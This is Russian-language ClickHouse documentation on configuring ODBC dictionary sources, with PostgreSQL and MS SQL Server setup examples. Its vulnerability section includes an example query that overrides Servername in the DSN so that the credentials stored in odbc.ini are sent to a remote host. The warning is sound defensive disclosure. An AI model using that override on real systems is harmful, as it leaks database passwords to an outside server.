Источник словаря ODBC

Настройте ODBC-соединение как источник словаря в ClickHouse.

Этот метод позволяет подключиться к любой базе данных с ODBC-драйвером.

Пример настроек:

DDL

SOURCE(ODBC(
    db 'DatabaseName'
    table 'SchemaName.TableName'
    connection_string 'DSN=some_parameters'
    invalidate_query 'SQL_QUERY'
    query 'SELECT id, value_1, value_2 FROM db_name.table_name'
))

Файл конфигурации

<source>
    <odbc>
        <db>DatabaseName</db>
        <table>ShemaName.TableName</table>
        <connection_string>DSN=some_parameters</connection_string>
        <invalidate_query>SQL_QUERY</invalidate_query>
        <query>SELECT id, value_1, value_2 FROM ShemaName.TableName</query>
    </odbc>
</source>

Поля настроек:

Настройка	Описание
db	Имя базы данных. Не указывайте его, если имя базы данных задано в параметрах <connection_string>.
table	Имя таблицы и схемы, если она есть.
connection_string	Строка подключения.
invalidate_query	Запрос для проверки состояния словаря. Необязательно. Подробнее см. в разделе Обновление данных словаря с помощью LIFETIME.
background_reconnect	Повторно подключаться к реплике в фоновом режиме, если соединение не удалось. Необязательно.
query	Пользовательский запрос. Необязательно.

Поля table и query нельзя использовать одновременно. При этом должно быть указано либо поле table, либо query.

ClickHouse получает символы кавычек от ODBC-драйвера и заключает в кавычки все настройки в запросах к драйверу, поэтому имя таблицы необходимо задавать с точным учетом регистра, используемого в базе данных.

Если при использовании Oracle у вас возникают проблемы с кодировками, см. соответствующий пункт FAQ.

​

Известная уязвимость функциональности ODBC-словарей

При подключении к базе данных через параметр подключения ODBC-драйвера Servername его можно подменить. В этом случае значения USERNAME и PASSWORD из odbc.ini отправляются на удалённый сервер и могут быть скомпрометированы.

Пример небезопасного использования

Настроим unixODBC для PostgreSQL. Содержимое /etc/odbc.ini:

[gregtest]
Driver = /usr/lib/psqlodbca.so
Servername = localhost
PORT = 5432
DATABASE = test_db
#OPTION = 3
USERNAME = test
PASSWORD = test

Если затем выполнить, например, такой запрос

SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');

ODBC-драйвер отправит значения USERNAME и PASSWORD из odbc.ini на сервер some-server.com.

​

Пример подключения PostgreSQL

ОС Ubuntu.

Установка unixODBC и ODBC-драйвера для PostgreSQL:

$ sudo apt-get install -y unixodbc odbcinst odbc-postgresql

Настройка /etc/odbc.ini (или ~/.odbc.ini, если вы вошли в систему под пользователем, от имени которого запускается ClickHouse):

    [DEFAULT]
    Driver = myconnection

    [myconnection]
    Description         = PostgreSQL connection to my_db
    Driver              = PostgreSQL Unicode
    Database            = my_db
    Servername          = 127.0.0.1
    UserName            = username
    Password            = password
    Port                = 5432
    Protocol            = 9.3
    ReadOnly            = No
    RowVersioning       = No
    ShowSystemTables    = No
    ConnSettings        =

Конфигурация словаря в ClickHouse:

DDL

CREATE DICTIONARY table_name (
    id UInt64,
    some_column UInt64 DEFAULT 0
)
PRIMARY KEY id
SOURCE(ODBC(connection_string 'DSN=myconnection' table 'postgresql_table'))
LAYOUT(HASHED())
LIFETIME(MIN 300 MAX 360)

Файл конфигурации

<clickhouse>
    <dictionary>
        <name>table_name</name>
        <source>
            <odbc>
                <!-- В connection_string можно указать следующие параметры: -->
                <!-- DSN=myconnection;UID=username;PWD=password;HOST=127.0.0.1;PORT=5432;DATABASE=my_db -->
                <connection_string>DSN=myconnection</connection_string>
                <table>postgresql_table</table>
            </odbc>
        </source>
        <lifetime>
            <min>300</min>
            <max>360</max>
        </lifetime>
        <layout>
            <hashed/>
        </layout>
        <structure>
            <id>
                <name>id</name>
            </id>
            <attribute>
                <name>some_column</name>
                <type>UInt64</type>
                <null_value>0</null_value>
            </attribute>
        </structure>
    </dictionary>
</clickhouse>

При необходимости отредактируйте odbc.ini, чтобы указать полный путь к библиотеке драйвера: DRIVER=/usr/local/lib/psqlodbcw.so.

​

Пример подключения к MS SQL Server

В ОС Ubuntu.

Установка ODBC-драйвера для подключения к MS SQL:

$ sudo apt-get install tdsodbc freetds-bin sqsh

Настройка драйвера:

    $ cat /etc/freetds/freetds.conf
    ...

    [MSSQL]
    host = 192.168.56.101
    port = 1433
    tds version = 7.0
    client charset = UTF-8

    # проверка TDS-соединения
    $ sqsh -S MSSQL -D database -U user -P password

    $ cat /etc/odbcinst.ini

    [FreeTDS]
    Description     = FreeTDS
    Driver          = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so
    Setup           = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so
    FileUsage       = 1
    UsageCount      = 5

    $ cat /etc/odbc.ini
    # $ cat ~/.odbc.ini # если вы вошли под пользователем, от имени которого запускается ClickHouse

    [MSSQL]
    Description     = FreeTDS
    Driver          = FreeTDS
    Servername      = MSSQL
    Database        = test
    UID             = test
    PWD             = test
    Port            = 1433

    # (необязательно) проверка ODBC-соединения (для использования isql-tool установите пакет [unixodbc](https://packages.debian.org/sid/unixodbc))
    $ isql -v MSSQL "user" "password"

Примечания:

• чтобы определить самую раннюю версию TDS, поддерживаемую той или иной версией SQL Server, обратитесь к документации продукта или ознакомьтесь с MS-TDS Product Behavior

Настройка словаря в ClickHouse:

DDL

CREATE DICTIONARY test (
    k UInt64,
    s String DEFAULT ''
)
PRIMARY KEY k
SOURCE(ODBC(table 'dict' connection_string 'DSN=MSSQL;UID=test;PWD=test'))
LAYOUT(FLAT())
LIFETIME(MIN 300 MAX 360)

Файл конфигурации

<clickhouse>
    <dictionary>
        <name>test</name>
        <source>
            <odbc>
                <table>dict</table>
                <connection_string>DSN=MSSQL;UID=test;PWD=test</connection_string>
            </odbc>
        </source>

        <lifetime>
            <min>300</min>
            <max>360</max>
        </lifetime>

        <layout>
            <flat />
        </layout>

        <structure>
            <id>
                <name>k</name>
            </id>
            <attribute>
                <name>s</name>
                <type>String</type>
                <null_value></null_value>
            </attribute>
        </structure>
    </dictionary>
</clickhouse>